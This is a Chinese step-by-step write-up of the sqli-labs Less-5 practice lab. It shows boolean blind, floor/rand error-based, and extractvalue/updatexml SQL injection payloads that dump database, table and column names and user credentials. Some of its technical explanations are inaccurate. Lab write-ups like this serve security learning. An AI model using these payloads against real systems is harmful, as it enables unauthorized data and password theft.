[网络安全]sqli-labs Less-5 解题详析

news/2024/11/30 11:06:41/

判断注入类型

GET1' and '1'='1 回显如下:
在这里插入图片描述GET1' and '1'='2
在这里插入图片描述没有回显,说明该漏洞类型为GET型单引号字符型注入

判断注入点个数

GET1' order by 3 --+,回显如下:
在这里插入图片描述GET1' order by 4 --+,回显如下:
在这里插入图片描述故注入点为3个
该题若查询结果正确,只返回you are in
若查询结果错误,无回显

查库名(爆破)


Payload:GET1' and left((select database()),1)='a'--+
使用子查询 select database(),该语句可以获取当前数据库名称,并返回该名称的字符串表达式;通过 left() 函数获取数据库名称的首个字符。

left函数

Left函数是一种字符串函数,可以从一个字符串的左侧开始返回指定数量的字符。它的语法如下:

LEFT(str, len)

其中,str 是要截取的字符串,len 是要返回的字符数。

例如,LEFT('Hello, world!', 5) 将返回 Hello,因为它只返回字符串的前5个字符


1' and left((select database()),1)='a'--+查询成功,则回显you are in,即数据库名的首字母为a
因此可用此方法查询出完整的数据库

抓包

抓该页面的数据表
在这里插入图片描述选择狙击手攻击类型,对a添加payload位置
在这里插入图片描述
其它设置如下:在这里插入图片描述由下图回显得数据库名首字母为s
在这里插入图片描述接着,将首字母s添加到**§a§前,并将len改为2,重复上述步骤。
在这里插入图片描述如下图,可确定数据库
第二个字母**为e
在这里插入图片描述重复上述步骤,第九个字符查询不到数据,故最终解得数据库名仅八个字符,为security


查库名(双查询注入)

原理

攻击者在构造注入字符串时,将多条 SQL 查询语句用分号等符号分隔开来,从而让数据库服务器一次性执行多个查询,并返回所有查询的结果。

例如,以下示例代码存在双查询注入漏洞:

$sql = "SELECT * FROM users WHERE name = '{$_POST['name']}' AND password = '{$_POST['password']}'";

攻击者可以通过在 name 或 password 参数中插入恶意代码来执行多条 SQL 查询语句,例如:

name=abc'; SELECT * FROM information_schema.tables WHERE table_schema='database_name';--

这样就会让数据库服务器先执行原始查询语句,然后再执行 SELECT 查询语句,从而获取指定的数据库名称表格信息。

实例

1' union select 1, count(*), concat((select database()), floor(rand(0)*2)) a from information_schema.tables group by a  %23
代码解读:information_schema.tables 表中查询数据库名称,并向结果添加一个随机数。查询结果包括以下三个字段:1:表示第一个查询语句的结果字段。COUNT(*):表示对信息模式(information_schema)表进行聚合后的行数。CONCAT((SELECT DATABASE()), FLOOR(RAND(0)*2)):表示使用 GROUP BY 限定之后得到的生成字符串,其中 CONCAT 函数用于连接两个字符串,并使用 FLOOR 和 RAND 函数生成一个随机数,从而使得查询结果与原始结果不同。%23 是 URL 编码后的 # 符号,用于在 SQL 注入语句末尾添加注释符号,以防止后续查询出现语法错误。

注意:如果没有随机数,查询返回的结果会按照最后一个 SELECT 语句中的列顺序组成,这可能使得攻击者注入的数据容易被识别和过滤。
通过使用 FLOOR 和 RAND 函数生成一个随机数,攻击者可以控制查询结果的排序方式,使得注入的数据在结果中更难以被发现和识别。

回显如下,数据库名为security:
在这里插入图片描述

查库名(extractvalue函数)

原理

extractvalue 是一个在 XML 数据中提取值的 MySQL 内置函数。它的语法为:
EXTRACTVALUE(xml, xpath_expr)

其中 xml 是 XML 字符串,xpath_expr 是 XPath 表达式。

该函数会从 xml 参数中提取与 XPath 表达式匹配的节点值,并返回结果。如果找不到匹配的节点,则返回空字符串。如果 XPath 表达式匹配了多个节点,则只返回第一个匹配的节点的值。

例如,假设有以下 XML 数据:

<book><title>MySQL Database Design and Tuning</title><author>Robert D Schneider</author><year>2005</year>
</book>

如果我们使用 extractvalue 函数提取 title 节点的值,可以这样写:

SELECT EXTRACTVALUE('<book><title>MySQL Database Design and Tuning</title><author>Robert D Schneider</author><year>2005</year></book>', '//title');

执行结果为:

MySQL Database Design and Tuning

实例

1' and extractvalue(1,concat(1,database())) %23
'1' 表示在输入参数中添加一个条件,该条件与其他条件相互独立,用于生成一个新的查询结果。AND 连接符用于将新的条件与原有查询语句进行逻辑上的连接。extractvalue(1,concat(1,database())) 表示从 XML 数据中提取值,其中第一个参数为 1,表示要查询的 XML 数据,在这里没有实际作用;第二个参数为 concat(1,database()),表示将数字 1 和当前数据库名称拼接成一个字符串,然后使用 extractvalue 函数从该字符串中提取值,并将其添加到查询结果中。如果数据库名称不为空,则返回该名称,否则返回空字符串。

回显库名security
在这里插入图片描述

查库名(updatexml函数)

原理

updatexml 函数是 MySQL 数据库中用于修改 XML 格式数据的一个内置函数。它的语法如下:

updatexml(xml_target, xpath_expr, new_val)

其中,xml_target 表示要进行修改的 XML 数据;xpath_expr 表示要修改的节点路径;new_val 表示要修改成的新值。

updatexml 函数的工作原理是将指定的 XML 数据解析为 DOM(文档对象模型) 文档树,并根据 xpath 表达式找到对应的节点,然后将该节点的内容替换为新值。如果节点不存在,则不进行任何操作。

实例

1' union select 1,2, (updatexml(1,concat(1,database()),1)) %23
UNION SELECT 1,2,(updatexml(1,concat(1,database()),1)) 表示使用 UNION 运算符将两个查询结果合并起来,同时将 updatexml 函数的结果添加到第二个 SELECT 查询中。updatexml 函数用于修改 XML 数据中的内容,其中第一个参数为 1,表示要修改的 XML 数据,在这里没有实际作用;第二个参数为 concat(1,database()),表示将数字 1 和当前数据库名称拼接成一个字符串作为修改内容;
第三个参数为 1,表示将修改后的结果写入 XML 数据中。%23 表示 URL 编码后的注释符号 #,用于在 SQL 注入语句末尾添加注释符号,以防止后续查询出现语法错误。

在这里插入图片描述

查表名(双查询注入)

1' union select 1, count(*), concat((select group_concat(table_name) from information_schema.tables where table_schema = 'security'), floor(rand(0)*2)) a from information_schema.tables group by a  %23

回显四个表名:
在这里插入图片描述

查表名(extractvalue函数)

1' and extractvalue(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security'))) %23

回显四个表名:
在这里插入图片描述

查表名(updatexml函数)

1' union select 1,2, (updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),1)) %23

在这里插入图片描述

查users表的列名(双查询注入)

1' union select 1, count(*), concat((select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'), floor(rand(0)*2)) a from information_schema.tables group by a  %23

回显三个列名
在这里插入图片描述

查users表的列名(extractvalue函数)

1' and extractvalue(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name = 'users' and table_schema = 'security'))) %23

回显三个列名:
在这里插入图片描述

查users表的列名(updatexml函数)

1' union select 1,2, (updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users')),1)) %23

在这里插入图片描述

查字段(双查询注入)

1' union select 1, count(*), concat((select concat(username,':',password) from users  limit 0,1), floor(rand(0)*2)) a from information_schema.tables group by a  %23

在select concat()函数中使用:将查询到的username与password分隔开来

在这里插入图片描述由上图,用户名为Dumb,密码为Dumb
将0改为1,2,3…即可,如下图:
在这里插入图片描述在这里插入图片描述在这里插入图片描述

查字段(extractvalue函数)

1' and extractvalue(1,concat(1,(select concat((select group_concat(username) from users), '~', (select group_concat(password) from users)) ) )) %23

在这里插入图片描述
由于extractvalue函数只能查询32位长度,导致结果缺失,改用limit查询

1' and extractvalue(1,concat(1,(select concat((select username from users limit 0,1), '~', (select password from users limit 0,1)) ) )) %23

在这里插入图片描述由上图,用户名为Dumb,密码为Dumb
将0改为1,2,3…即可,如下图:
在这里插入图片描述在这里插入图片描述

查字段(updatexml函数)

1' union select 1,2, (updatexml(1,concat(1,(select username from users limit 0, 1),1,(select password from users limit 0,1)),1)) %23

在这里插入图片描述由上图,用户名为Dumb,密码为Dumb
将0改为1,2,3…即可,如下图:
在这里插入图片描述在这里插入图片描述在这里插入图片描述


http://www.ppmy.cn/news/1551177.html

相关文章

Perforce SAST专家详解:自动驾驶汽车的安全与技术挑战,Klocwork、Helix QAC等静态代码分析成必备合规性工具

自动驾驶汽车安全吗&#xff1f;现代汽车的软件包含1亿多行代码&#xff0c;支持许多不同的功能&#xff0c;如巡航控制、速度辅助和泊车摄像头。而且&#xff0c;这些嵌入式系统中的代码只会越来越复杂。 随着未来汽车的互联程度越来越高&#xff0c;这一趋势还将继续。汽车越…

OpenCV_Code_LOG

孔洞填充 void fillHole(const Mat srcBw, Mat &dstBw) {Size m_Size srcBw.size();Mat TempMat::zeros(m_Size.height2,m_Size.width2,srcBw.type());//延展图像srcBw.copyTo(Temp(Range(1, m_Size.height 1), Range(1, m_Size.width 1)));cv::floodFill(Temp, Point(…

备赛蓝桥杯--算法题目(1)

1. 链表求和 . - 力扣&#xff08;LeetCode&#xff09; class Solution { public:ListNode* addTwoNumbers(ListNode* l1, ListNode* l2) {ListNode *head nullptr, *tail nullptr;int carry 0;while (l1 || l2) {int n1 l1 ? l1->val: 0;int n2 l2 ? l2->val:…

华为机试HJ73 计算日期到天数转换

首先看一下题 描述 根据输入的日期&#xff0c;计算是这一年的第几天。 保证年份为4位数且日期合法。 进阶&#xff1a;时间复杂度&#xff1a;O(n) &#xff0c;空间复杂度&#xff1a;O(1) 输入描述&#xff1a; 输入一行&#xff0c;每行空格分割&#xff0c;分别是年&…

理解Parquet文件和Arrow格式:从Hugging Face数据集的角度出发

parquet发音&#xff1a;美 [pɑrˈkeɪ] 镶木地板&#xff1b;拼花木地板 理解Parquet文件和Arrow格式&#xff1a;从Hugging Face数据集的角度出发 引言 在机器学习和大数据处理中&#xff0c;数据的存储和传输格式对于性能至关重要。两种广泛使用的格式是 Parquet 和 Arr…

电机驱动MCU介绍

电机驱动MCU是一种专为电机控制设计的微控制器单元&#xff0c;它集成了先进的控制算法和高性能的功率输出能力。 电机驱动MCU采用高性能的处理器核心&#xff0c;具有快速的运算速度和丰富的外设接口。它内置了专业的电机控制算法&#xff0c;包括PID控制、FOC&#xff08;Fi…

Linux,如何将文件从一台服务器传到另一台服务器上

摘要 将文件从一台服务器上传到另一台服务器上用到了scp命令。 scp&#xff08;Secure Copy Protocol&#xff09;命令用于在本地和远程主机之间或两个远程主机之间安全地复制文件或目录。它基于SSH协议&#xff0c;因此文件传输过程中会进行加密。以下是scp命令的详细解释及…

十二、正则表达式、元字符、替换修饰符、手势和对话框插件、字符串截取

1. 正则表达式 1.1 基本使用 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>Document</title&g…